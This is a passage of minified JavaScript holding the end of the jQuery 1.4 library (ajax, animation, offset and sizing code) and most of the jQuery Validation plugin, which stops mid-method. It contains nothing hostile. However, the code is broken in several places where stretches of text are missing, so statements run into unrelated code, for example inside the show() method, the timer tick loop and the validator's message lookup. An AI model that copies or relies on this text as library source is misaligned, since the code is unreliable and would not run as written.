r=J(),u=e.url.replace(wb,"$1_="+r+"$2");e.url=u+(u===e.url?(ka.test(e.url)?"&":"?")+"_="+r:"")}if(e.data&&n==="GET")e.url+=(ka.test(e.url)?"&":"?")+e.data;e.global&&!c.active++&&c.event.trigger("ajaxStart");r=(r=xb.exec(e.url))&&(r[1]&&r[1]!==location.protocol||r[2]!==location.host);if(e.dataType==="script"&&n==="GET"&&r){var z=s.getElementsByTagName("head")[0]||s.documentElement,C=s.createElement("script");C.src=e.url;if(e.scriptCharset)C.charset=e.scriptCharset;if(!j){var B=false;C.onload=C.onreadystatechange=function(){if(!B&&(!this.readyState||this.readyState==="loaded"||this.readyState==="complete")){B=true;b();d();C.onload=C.onreadystatechange=null;z&&C.parentNode&&z.removeChild(C)}}}z.insertBefore(C,z.firstChild);return w}var E=false,x=e.xhr();if(x){e.username?x.open(n,e.url,e.async,e.username,e.password):x.open(n,e.url,e.async);try{if(e.data||a&&a.contentType)x.setRequestHeader("Content-Type",e.contentType);if(e.ifModified){c.lastModified[e.url]&&x.setRequestHeader("If-Modified-Since",c.lastModified[e.url]);c.etag[e.url]&&x.setRequestHeader("If-None-Match",c.etag[e.url])}r||x.setRequestHeader("X-Requested-With","XMLHttpRequest");x.setRequestHeader("Accept",e.dataType&&e.accepts[e.dataType]?e.accepts[e.dataType]+", */*":e.accepts._default)}catch(ga){}if(e.beforeSend&&e.beforeSend.call(k,x,e)===false){e.global&&!--c.active&&c.event.trigger("ajaxStop");x.abort();return false}e.global&&f("ajaxSend",[x,e]);var g=x.onreadystatechange=function(q){if(!x||x.readyState===0||q==="abort"){E||d();E=true;if(x)x.onreadystatechange=c.noop}else if(!E&&x&&(x.readyState===4||q==="timeout")){E=true;x.onreadystatechange=c.noop;i=q==="timeout"?"timeout":!c.httpSuccess(x)?"error":e.ifModified&&c.httpNotModified(x,e.url)?"notmodified":"success";var p;if(i==="success")try{o=c.httpData(x,e.dataType,e)}catch(v){i="parsererror";p=v}if(i==="success"||i==="notmodified")j||b();else c.handleError(e,x,i,p);d();q==="timeout"&&x.abort();if(e.async)x=null}};try{var h=x.abort;x.abort=function(){x&&h.call(x);g("abort")}}catch(l){}e.async&&e.timeout>0&&setTimeout(function(){x&&!E&&g("timeout")},e.timeout);try{x.send(n==="POST"||n==="PUT"||n==="DELETE"?e.data:null)}catch(m){c.handleError(e,x,null,m);d()}e.async||g();return x}},handleError:function(a,b,d,f){if(a.error)a.error.call(a.context||a,b,d,f);if(a.global)(a.context?c(a.context):c.event).trigger("ajaxError",[b,a,f])},active:0,httpSuccess:function(a){try{return!a.status&&location.protocol==="file:"||a.status>=200&&a.status<300||a.status===304||a.status===1223||a.status===0}catch(b){}return false},httpNotModified:function(a,b){var d=a.getResponseHeader("Last-Modified"),f=a.getResponseHeader("Etag");if(d)c.lastModified[b]=d;if(f)c.etag[b]=f;return a.status===304||a.status===0},httpData:function(a,b,d){var f=a.getResponseHeader("content-type")||"",e=b==="xml"||!b&&f.indexOf("xml")>=0;a=e?a.responseXML:a.responseText;e&&a.documentElement.nodeName==="parsererror"&&c.error("parsererror");if(d&&d.dataFilter)a=d.dataFilter(a,b);if(typeof a==="string")if(b==="json"||!b&&f.indexOf("json")>=0)a=c.parseJSON(a);else if(b==="script"||!b&&f.indexOf("javascript")>=0)c.globalEval(a);return a},param:function(a,b){function d(i,o){if(c.isArray(o))c.each(o,function(k,n){b||/\[\]$/.test(i)?f(i,n):d(i+"["+(typeof n==="object"||c.isArray(n)?k:"")+"]",n)});else!b&&o!=null&&typeof o==="object"?c.each(o,function(k,n){d(i+"["+k+"]",n)}):f(i,o)}function f(i,o){o=c.isFunction(o)?o():o;e[e.length]=encodeURIComponent(i)+"="+encodeURIComponent(o)}var e=[];if(b===w)b=c.ajaxSettings.traditional;if(c.isArray(a)||a.jquery)c.each(a,function(){f(this.name,this.value)});else for(var j in a)d(j,a[j]);return e.join("&").replace(yb,"+")}});var la={},Ab=/toggle|show|hide/,Bb=/^([+-]=)?([\d+-.]+)(.*)$/,W,va=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]];c.fn.extend({show:function(a,b){if(a||a===0)return this.animate(K("show",3),a,b);else{a=0;for(b=this.length;a").appendTo("body");f=e.css("display");if(f==="none")f="block";e.remove();la[d]=f}c.data(this[a],"olddisplay",f)}}a=0;for(b=this.length;a=0;f--)if(d[f].elem===this){b&&d[f](true);d.splice(f,1)}});b||this.dequeue();return this}});c.each({slideDown:K("show",1),slideUp:K("hide",1),slideToggle:K("toggle",1),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"}},function(a,b){c.fn[a]=function(d,f){return this.animate(b,d,f)}});c.extend({speed:function(a,b,d){var f=a&&typeof a==="object"?a:{complete:d||!d&&b||c.isFunction(a)&&a,duration:a,easing:d&&b||b&&!c.isFunction(b)&&b};f.duration=c.fx.off?0:typeof f.duration==="number"?f.duration:c.fx.speeds[f.duration]||c.fx.speeds._default;f.old=f.complete;f.complete=function(){f.queue!==false&&c(this).dequeue();c.isFunction(f.old)&&f.old.call(this)};return f},easing:{linear:function(a,b,d,f){return d+f*a},swing:function(a,b,d,f){return(-Math.cos(a*Math.PI)/2+0.5)*f+d}},timers:[],fx:function(a,b,d){this.options=b;this.elem=a;this.prop=d;if(!b.orig)b.orig={}}});c.fx.prototype={update:function(){this.options.step&&this.options.step.call(this.elem,this.now,this);(c.fx.step[this.prop]||c.fx.step._default)(this);if((this.prop==="height"||this.prop==="width")&&this.elem.style)this.elem.style.display="block"},cur:function(a){if(this.elem[this.prop]!=null&&(!this.elem.style||this.elem.style[this.prop]==null))return this.elem[this.prop];return(a=parseFloat(c.css(this.elem,this.prop,a)))&&a>-10000?a:parseFloat(c.curCSS(this.elem,this.prop))||0},custom:function(a,b,d){function f(j){return e.step(j)}this.startTime=J();this.start=a;this.end=b;this.unit=d||this.unit||"px";this.now=this.start;this.pos=this.state=0;var e=this;f.elem=this.elem;if(f()&&c.timers.push(f)&&!W)W=setInterval(c.fx.tick,13)},show:function(){this.options.orig[this.prop]=c.style(this.elem,this.prop);this.options.show=true;this.custom(this.prop==="width"||this.prop==="height"?1:0,this.cur());c(this.elem).show()},hide:function(){this.options.orig[this.prop]=c.style(this.elem,this.prop);this.options.hide=true;this.custom(this.cur(),0)},step:function(a){var b=J(),d=true;if(a||b>=this.options.duration+this.startTime){this.now=this.end;this.pos=this.state=1;this.update();this.options.curAnim[this.prop]=true;for(var f in this.options.curAnim)if(this.options.curAnim[f]!==true)d=false;if(d){if(this.options.display!=null){this.elem.style.overflow=this.options.overflow;a=c.data(this.elem,"olddisplay");this.elem.style.display=a?a:this.options.display;if(c.css(this.elem,"display")==="none")this.elem.style.display="block"}this.options.hide&&c(this.elem).hide();if(this.options.hide||this.options.show)for(var e in this.options.curAnim)c.style(this.elem,e,this.options.orig[e]);this.options.complete.call(this.elem)}return false}else{e=b-this.startTime;this.state=e/this.options.duration;a=this.options.easing||(c.easing.swing?"swing":"linear");this.pos=c.easing[this.options.specialEasing&&this.options.specialEasing[this.prop]||a](this.state,e,0,1,this.options.duration);this.now=this.start+(this.end-this.start)*this.pos;this.update()}return true}};c.extend(c.fx,{tick:function(){for(var a=c.timers,b=0;b
";a.insertBefore(b,a.firstChild);d=b.firstChild;f=d.firstChild;e=d.nextSibling.firstChild.firstChild;this.doesNotAddBorder=f.offsetTop!==5;this.doesAddBorderForTableAndCells=e.offsetTop===5;f.style.position="fixed";f.style.top="20px";this.supportsFixedPosition=f.offsetTop===20||f.offsetTop===15;f.style.position=f.style.top="";d.style.overflow="hidden";d.style.position="relative";this.subtractsBorderForOverflowNotVisible=f.offsetTop===-5;this.doesNotIncludeMarginInBodyOffset=a.offsetTop!==j;a.removeChild(b);c.offset.initialize=c.noop},bodyOffset:function(a){var b=a.offsetTop,d=a.offsetLeft;c.offset.initialize();if(c.offset.doesNotIncludeMarginInBodyOffset){b+=parseFloat(c.curCSS(a,"marginTop",true))||0;d+=parseFloat(c.curCSS(a,"marginLeft",true))||0}return{top:b,left:d}},setOffset:function(a,b,d){if(/static/.test(c.curCSS(a,"position")))a.style.position="relative";var f=c(a),e=f.offset(),j=parseInt(c.curCSS(a,"top",true),10)||0,i=parseInt(c.curCSS(a,"left",true),10)||0;if(c.isFunction(b))b=b.call(a,d,e);d={top:b.top-e.top+j,left:b.left-e.left+i};"using"in b?b.using.call(a,d):f.css(d)}};c.fn.extend({position:function(){if(!this[0])return null;var a=this[0],b=this.offsetParent(),d=this.offset(),f=/^body|html$/i.test(b[0].nodeName)?{top:0,left:0}:b.offset();d.top-=parseFloat(c.curCSS(a,"marginTop",true))||0;d.left-=parseFloat(c.curCSS(a,"marginLeft",true))||0;f.top+=parseFloat(c.curCSS(b[0],"borderTopWidth",true))||0;f.left+=parseFloat(c.curCSS(b[0],"borderLeftWidth",true))||0;return{top:d.top-f.top,left:d.left-f.left}},offsetParent:function(){return this.map(function(){for(var a=this.offsetParent||s.body;a&&!/^body|html$/i.test(a.nodeName)&&c.css(a,"position")==="static";)a=a.offsetParent;return a})}});c.each(["Left","Top"],function(a,b){var d="scroll"+b;c.fn[d]=function(f){var e=this[0],j;if(!e)return null;if(f!==w)return this.each(function(){if(j=wa(this))j.scrollTo(!a?f:c(j).scrollLeft(),a?f:c(j).scrollTop());else this[d]=f});else return(j=wa(e))?"pageXOffset"in j?j[a?"pageYOffset":"pageXOffset"]:c.support.boxModel&&j.document.documentElement[d]||j.document.body[d]:e[d]}});c.each(["Height","Width"],function(a,b){var d=b.toLowerCase();c.fn["inner"+b]=function(){return this[0]?c.css(this[0],d,false,"padding"):null};c.fn["outer"+b]=function(f){return this[0]?c.css(this[0],d,false,f?"margin":"border"):null};c.fn[d]=function(f){var e=this[0];if(!e)return f==null?null:this;if(c.isFunction(f))return this.each(function(j){var i=c(this);i[d](f.call(this,j,i[d]()))});return"scrollTo"in e&&e.document?e.document.compatMode==="CSS1Compat"&&e.document.documentElement["client"+b]||e.document.body["client"+b]:e.nodeType===9?Math.max(e.documentElement["client"+b],e.body["scroll"+b],e.documentElement["scroll"+b],e.body["offset"+b],e.documentElement["offset"+b]):f===w?c.css(e,d):this.css(d,typeof f==="string"?f:f+"px")}});A.jQuery=A.$=c})(window);(function($){$.extend($.fn,{validate:function(options){if(!this.length){options&&options.debug&&window.console&&console.warn("nothing selected, can't validate, returning nothing");return}var validator=$.data(this[0],"validator");if(validator){return validator}validator=new $.validator(options,this[0]);$.data(this[0],"validator",validator);if(validator.settings.onsubmit){this.find("input, button").filter(".cancel").click(function(){validator.cancelSubmit=true});if(validator.settings.submitHandler){this.find("input, button").filter(":submit").click(function(){validator.submitButton=this})}this.submit(function(event){if(validator.settings.debug){event.preventDefault()}function handle(){if(validator.settings.submitHandler){if(validator.submitButton){var hidden=$("").attr("name",validator.submitButton.name).val(validator.submitButton.value).appendTo(validator.currentForm)}validator.settings.submitHandler.call(validator,validator.currentForm);if(validator.submitButton){hidden.remove()}return false}return true}if(validator.cancelSubmit){validator.cancelSubmit=false;return handle()}if(validator.form()){if(validator.pendingRequest){validator.formSubmitted=true;return false}return handle()}else{validator.focusInvalid();return false}})}return validator},valid:function(){if($(this[0]).is("form")){return this.validate().form()}else{var valid=true;var validator=$(this[0].form).validate();this.each(function(){valid&=validator.element(this)});return valid}},removeAttrs:function(attributes){var result={},$element=this;$.each(attributes.split(/\s/),function(index,value){result[value]=$element.attr(value);$element.removeAttr(value)});return result},rules:function(command,argument){var element=this[0];if(command){var settings=$.data(element.form,"validator").settings;var staticRules=settings.rules;var existingRules=$.validator.staticRules(element);switch(command){case"add":$.extend(existingRules,$.validator.normalizeRule(argument));staticRules[element.name]=existingRules;if(argument.messages){settings.messages[element.name]=$.extend(settings.messages[element.name],argument.messages)}break;case"remove":if(!argument){delete staticRules[element.name];return existingRules}var filtered={};$.each(argument.split(/\s/),function(index,method){filtered[method]=existingRules[method];delete existingRules[method]});return filtered}}var data=$.validator.normalizeRules($.extend({},$.validator.metadataRules(element),$.validator.classRules(element),$.validator.attributeRules(element),$.validator.staticRules(element)),element);if(data.required){var param=data.required;delete data.required;data=$.extend({required:param},data)}return data}});$.extend($.expr[":"],{blank:function(a){return!$.trim(a.value)},filled:function(a){return!!$.trim(a.value)},unchecked:function(a){return!a.checked}});$.validator=function(options,form){this.settings=$.extend({},$.validator.defaults,options);this.currentForm=form;this.init()};$.validator.format=function(source,params){if(arguments.length==1){return function(){var args=$.makeArray(arguments);args.unshift(source);return $.validator.format.apply(this,args)}}if(arguments.length>2&¶ms.constructor!=Array){params=$.makeArray(arguments).slice(1)}if(params.constructor!=Array){params=[params]}$.each(params,function(i,n){source=source.replace(new RegExp("\\{"+i+"\\}","g"),n)});return source};$.extend($.validator,{defaults:{messages:{},groups:{},rules:{},errorClass:"error",validClass:"valid",errorElement:"label",focusInvalid:true,errorContainer:$([]),errorLabelContainer:$([]),onsubmit:true,ignore:[],ignoreTitle:false,onfocusin:function(element){this.lastActive=element;if(this.settings.focusCleanup&&!this.blockFocusCleanup){this.settings.unhighlight&&this.settings.unhighlight.call(this,element,this.settings.errorClass,this.settings.validClass);this.errorsFor(element).hide()}},onfocusout:function(element){if(!this.checkable(element)&&(element.name in this.submitted||!this.optional(element))){this.element(element)}},onkeyup:function(element){if(element.name in this.submitted||element==this.lastElement){this.element(element)}},onclick:function(element){if(element.name in this.submitted){this.element(element)}},highlight:function(element,errorClass,validClass){$(element).addClass(errorClass).removeClass(validClass)},unhighlight:function(element,errorClass,validClass){$(element).removeClass(errorClass).addClass(validClass)}},setDefaults:function(settings){$.extend($.validator.defaults,settings)},messages:{required:"This field is required.",remote:"Please fix this field.",email:"Please enter a valid email address.",url:"Please enter a valid URL.",date:"Please enter a valid date.",dateISO:"Please enter a valid date (ISO).",dateDE:"Bitte geben Sie ein gltiges Datum ein.",number:"Please enter a valid number.",numberDE:"Bitte geben Sie eine Nummer ein.",digits:"Please enter only digits",creditcard:"Please enter a valid credit card number.",equalTo:"Please enter the same value again.",accept:"Please enter a value with a valid extension.",maxlength:$.validator.format("Please enter no more than {0} characters."),minlength:$.validator.format("Please enter at least {0} characters."),rangelength:$.validator.format("Please enter a value between {0} and {1} characters long."),range:$.validator.format("Please enter a value between {0} and {1}."),max:$.validator.format("Please enter a value less than or equal to {0}."),min:$.validator.format("Please enter a value greater than or equal to {0}.")},autoCreateRanges:false,prototype:{init:function(){this.labelContainer=$(this.settings.errorLabelContainer);this.errorContext=this.labelContainer.length&&this.labelContainer||$(this.currentForm);this.containers=$(this.settings.errorContainer).add(this.settings.errorLabelContainer);this.submitted={};this.valueCache={};this.pendingRequest=0;this.pending={};this.invalid={};this.reset();var groups=(this.groups={});$.each(this.settings.groups,function(key,value){$.each(value.split(/\s/),function(index,name){groups[name]=key})});var rules=this.settings.rules;$.each(rules,function(key,value){rules[key]=$.validator.normalizeRule(value)});function delegate(event){var validator=$.data(this[0].form,"validator");validator.settings["on"+event.type]&&validator.settings["on"+event.type].call(validator,this[0])}$(this.currentForm).delegate("focusin focusout keyup",":text, :password, :file, select, textarea",delegate).delegate("click",":radio, :checkbox",delegate);if(this.settings.invalidHandler){$(this.currentForm).bind("invalid-form.validate",this.settings.invalidHandler)}},form:function(){this.checkForm();$.extend(this.submitted,this.errorMap);this.invalid=$.extend({},this.errorMap);if(!this.valid()){$(this.currentForm).triggerHandler("invalid-form",[this])}this.showErrors();return this.valid()},checkForm:function(){this.prepareForm();for(var i=0,elements=(this.currentElements=this.elements());elements[i];i++){this.check(elements[i])}return this.valid()},element:function(element){element=this.clean(element);this.lastElement=element;this.prepareElement(element);this.currentElements=$(element);var result=this.check(element);if(result){delete this.invalid[element.name]}else{this.invalid[element.name]=true}if(!this.numberOfInvalids()){this.toHide=this.toHide.add(this.containers)}this.showErrors();return result},showErrors:function(errors){if(errors){$.extend(this.errorMap,errors);this.errorList=[];for(var name in errors){this.errorList.push({message:errors[name],element:this.findByName(name)[0]})}this.successList=$.grep(this.successList,function(element){return!(element.name in errors)})}this.settings.showErrors?this.settings.showErrors.call(this,this.errorMap,this.errorList):this.defaultShowErrors()},resetForm:function(){if($.fn.resetForm){$(this.currentForm).resetForm()}this.submitted={};this.prepareForm();this.hideErrors();this.elements().removeClass(this.settings.errorClass)},numberOfInvalids:function(){return this.objectLength(this.invalid)},objectLength:function(obj){var count=0;for(var i in obj){count++}return count},hideErrors:function(){this.addWrapper(this.toHide).hide()},valid:function(){return this.size()==0},size:function(){return this.errorList.length},focusInvalid:function(){if(this.settings.focusInvalid){try{$(this.findLastActive()||this.errorList.length&&this.errorList[0].element||[]).filter(":visible").focus()}catch(e){}}},findLastActive:function(){var lastActive=this.lastActive;return lastActive&&$.grep(this.errorList,function(n){return n.element.name==lastActive.name}).length==1&&lastActive},elements:function(){var validator=this,rulesCache={};return $([]).add(this.currentForm.elements).filter(":input").not(":submit, :reset, :image, [disabled]").not(this.settings.ignore).filter(function(){!this.name&&validator.settings.debug&&window.console&&console.error("%o has no name assigned",this);if(this.name in rulesCache||!validator.objectLength($(this).rules())){return false}rulesCache[this.name]=true;return true})},clean:function(selector){return $(selector)[0]},errors:function(){return $(this.settings.errorElement+"."+this.settings.errorClass,this.errorContext)},reset:function(){this.successList=[];this.errorList=[];this.errorMap={};this.toShow=$([]);this.toHide=$([]);this.formSubmitted=false;this.currentElements=$([])},prepareForm:function(){this.reset();this.toHide=this.errors().add(this.containers)},prepareElement:function(element){this.reset();this.toHide=this.errorsFor(element)},check:function(element){element=this.clean(element);if(this.checkable(element)){element=this.findByName(element.name)[0]}var rules=$(element).rules();var dependencyMismatch=false;for(method in rules){var rule={method:method,parameters:rules[method]};try{var result=$.validator.methods[method].call(this,element.value.replace(/\r/g,""),element,rule.parameters);if(result=="dependency-mismatch"){dependencyMismatch=true;continue}dependencyMismatch=false;if(result=="pending"){this.toHide=this.toHide.not(this.errorsFor(element));return}if(!result){this.formatAndAdd(element,rule);return false}}catch(e){this.settings.debug&&window.console&&console.log("exception occured when checking element "+element.id+", check the '"+rule.method+"' method");throw e}}if(dependencyMismatch){return}if(this.objectLength(rules)){this.successList.push(element)}return true},customMetaMessage:function(element,method){if(!$.metadata){return}var meta=this.settings.meta?$(element).metadata()[this.settings.meta]:$(element).metadata();return meta&&meta.messages&&meta.messages[method]},customMessage:function(name,method){var m=this.settings.messages[name];return m&&(m.constructor==String?m:m[method])},findDefined:function(){for(var i=0;iWarning: No message defined for "+element.name+"")},formatAndAdd:function(element,rule){var message=this.defaultMessage(element,rule.method);if(typeof message=="function"){message=message.call(this,rule.parameters,element)}this.errorList.push({message:message,element:element});this.errorMap[element.name]=message;this.submitted[element.name]=message},addWrapper:function(toToggle){if(this.settings.wrapper){toToggle=toToggle.add(toToggle.parent(this.settings.wrapper))}return toToggle},defaultShowErrors:function(){for(var i=0;this.errorList[i];i++){var error=this.errorList[i];this.settings.highlight&&this.settings.highlight.call(this,error.element,this.settings.errorClass,this.settings.validClass);this.showLabel(error.element,error.message)}if(this.errorList.length){this.toShow=this.toShow.add(this.containers)}if(this.settings.success){for(var i=0;this.successList[i];i++){this.showLabel(this.successList[i])}}if(this.settings.unhighlight){for(var i=0,elements=this.validElements();elements[i];i++){this.settings.unhighlight.call(this,elements[i],this.settings.errorClass,this.settings.validClass)}}this.toHide=this.toHide.not(this.toShow);this.hideErrors();this.addWrapper(this.toShow).show()},validElements:function(){return this.currentElements.not(this.invalidElements())},invalidElements:function(){return $(this.errorList).map(function(){return this.element})},showLabel:function(element,message){var label=this.errorsFor(element);if(label.length){label.removeClass().addClass(this.settings.errorClass);label.attr("generated")&&label.html(message)}else{label=$("<"+this.settings.errorElement+"/>").attr({"for":this.idOrName(element),generated:true}).addClass(this.settings.errorClass).html(message||"");if(this.settings.wrapper){label=label.hide().show().wrap("<"+this.settings.wrapper+"/>").parent()}if(!this.labelContainer.append(label).length){this.settings.errorPlacement?this.settings.errorPlacement(label,$(element)):label.insertAfter(element)}}if(!message&&this.settings.success){label.text("");typeof this.settings.success=="string"?label.addClass(this.settings.success):this.settings.success(label)}this.toShow=this.toShow.add(label)},errorsFor:function(element){return this.errors().filter("[for='"+this.idOrName(element)+"']")},idOrName:function(element){return this.groups[element.name]||(this.checkable(element)?element.name:element.id||element.name)},checkable:function(element){return/radio|checkbox/i.test(element.type)},findByName:function(name){var form=this.currentForm;return $(document.getElementsByName(name)).map(function(index,element){return element.form==form&&element.name==name&&element||null})},getLength:function(value,element){switch(element.nodeName.toLowerCase()){case"select":return $("option:selected",element).length;case"input":if(this.checkable(element)){return this.findByName(element.name).filter(":checked").length}}return value.length},depend:function(param,element){return this.dependTypes[typeof param]?this.dependTypes[typeof param](param,element):true},dependTypes:{"boolean":function(param,element){return param},string:function(param,element){return!!$(param,element.form).length},"function":function(param,element){return param(element)}},optional:function(element){return!$.validator.methods.required.call(this,$.trim(element.value),element)&&"dependency-mismatch"},startRequest:function(element){if(!this.pending[element.name]){this.pendingRequest++;this.pending[element.name]=true}},stopRequest:function(element,valid){this.pendingRequest--;if(this.pendingRequest<0){this.pendingRequest=0}delete this.pending[element.name];if(valid&&this.pendingRequest==0&&this.formSubmitted&&this.form()){$(this.currentForm).submit()}else{if(!valid&&this.pendingRequest==0&&this.formSubmitted){$(this.currentForm).triggerHandler("invalid-form",[this])}}},previousValue:function(element){return $.data(element,"previousValue")||$.data(element,"previousValue",previous={old:null,valid:true,message:this.defaultMessage(element,"remote")})}},classRuleSettings:{required:{required:true},email:{email:true},url:{url:true},date:{date:true},dateISO:{dateISO:true},dateDE:{dateDE:true},number:{number:true},numberDE:{numberDE:true},digits:{digits:true},creditcard:{creditcard:true}},addClassRules:function(className,rules){className.constructor==String?this.classRuleSettings[className]=rules:$.extend(this.classRuleSettings,className)},classRules:function(element){var rules={};var classes=$(element).attr("class");classes&&$.each(classes.split(" "),function(){if(this in $.validator.classRuleSettings){$.extend(rules,$.validator.classRuleSettings[this])}});return rules},attributeRules:function(element){var rules={};var $element=$(element);for(method in $.validator.methods){var value=$element.attr(method);if(value){rules[method]=value}}if(rules.maxlength&&/-1|2147483647|524288/.test(rules.maxlength)){delete rules.maxlength}return rules},metadataRules:function(element){if(!$.metadata){return{}}var meta=$.data(element.form,"validator").settings.meta;return meta?$(element).metadata()[meta]:$(element).metadata()},staticRules:function(element){var rules={};var validator=$.data(element.form,"validator");if(validator.settings.rules){rules=$.validator.normalizeRule(validator.settings.rules[element.name])||{}}return rules},normalizeRules:function(rules,element){$.each(rules,function(prop,val){if(val===false){delete rules[prop];return}if(val.param||val.depends){var keepRule=true;switch(typeof val.depends){case"string":keepRule=!!$(val.depends,element.form).length;break;case"function":keepRule=val.depends.call(element,element);break}if(keepRule){rules[prop]=val.param!==undefined?val.param:true}else{delete rules[prop]}}});$.each(rules,function(rule,parameter){rules[rule]=$.isFunction(parameter)?parameter(element):parameter});$.each(["minlength","maxlength","min","max"],function(){if(rules[this]){rules[this]=Number(rules[this])}});$.each(["rangelength","range"],function(){if(rules[this]){rules[this]=[Number(rules[this][0]),Number(rules[this][1])]}});if($.validator.autoCreateRanges){if(rules.min&&rules.max){rules.range=[rules.min,rules.max];delete rules.min;delete rules.max}if(rules.minlength&&rules.maxlength){rules.rangelength=[rules.minlength,rules.maxlength];delete rules.minlength;delete rules.maxlength}}if(rules.messages){delete rules.messages}return rules},normalizeRule:function(data){if(typeof data=="string"){var transformed={};$.each(data.split(/\s/),function(){transformed[this]=true});data=transformed}return data},addMethod:function(name,method,message){$.validator.methods[name]=method;$.validator.messages[name]=message||$.validator.messages[name];if(method.length<3){$.validator.addClassRules(name,$.validator.normalizeRule(name))}},methods:{required:function(value,element,param){if(!this.depend(param,element)){return"dependency-mismatch"}switch(element.nodeName.toLowerCase()){case"select":var options=$("option:selected",element);return options.length>0&&(element.type=="select-multiple"||($.browser.msie&&!(options[0].attributes.value.specified)?options[0].text:options[0].value).length>0);case"input":if(this.checkable(element)){return this.getLength(value,element)>0}default:return $.trim(value).length>0}},remote:function(value,element,param){if(this.optional(element)){return"dependency-mismatch"}var previous=this.previousValue(element);if(!this.settings.messages[element.name]){this.settings.messages[element.name]={}}this.settings.messages[element.name].remote=typeof previous.message=="function"?previous.message(value):previous.message;param=typeof param=="string"&&{url:param}||param;if(previous.old!==value){previous.old=value;var validator=this;this.startRequest(element);var data={};data[element.name]=value;$.ajax($.extend(true,{url:param,mode:"abort",port:"validate"+element.name,dataType:"json",data:data,success:function(response){var valid=response===true;if(valid){var submitted=validator.formSubmitted;validator.prepareElement(element);validator.formSubmitted=submitted;validator.successList.push(element);validator.showErrors()}else{var errors={};errors[element.name]=previous.message=response||validator.defaultMessage(element,"remote");validator.showErrors(errors)}previous.valid=valid;validator.stopRequest(element,valid)}},param));return"pending"}else{if(this.pending[element.name]){return"pending"}}return previous.valid},minlength:function(value,element,param){return this.optional(element)||this.getLength($.trim(value),element)>=param},maxlength:function(value,element,param){return this.optional(element)||this.getLength($.trim(value),element)<=param},rangelength:function(value,element,param){var length=this.getLength($.trim(value),element);return this.optional(element)||(length>=param[0]&&length<=param[1])},min:function(value,element,param){return this.optional(element)||value>=param},max:function(value,element,param){return this.optional(element)||value<=param},range:function(value,element,param){return this.optional(element)||(value>=param[0]&&value<=param[1])},email:function(value,element){return this.optional(element)||/^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?$/i.test(value)},url:function(value,element){return this.optional(element)||/^(https?|ftp):\/\/(((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:)*@)?(((\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5]))|((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?)(:\d*)?)(\/((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)+(\/(([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)*)*)?)?(\?((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|[\uE000-\uF8FF]|\/|\?)*)?(\#((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|\/|\?)*)?$/i.test(value)},date:function(value,element){return this.optional(element)||!/Invalid|NaN/.test(new Date(value))},dateISO:function(value,element){return this.optional(element)||/^\d{4}[\/-]\d{1,2}[\/-]\d{1,2}$/.test(value)},dateDE:function(value,element){return this.optional(element)||/^\d\d?\.\d\d?\.\d\d\d?\d?$/.test(value)},number:function(value,element){return this.optional(element)||/^-?(?:\d+|\d{1,3}(?:,\d{3})+)(?:\.\d+)?$/.test(value)},numberDE:function(value,element){return 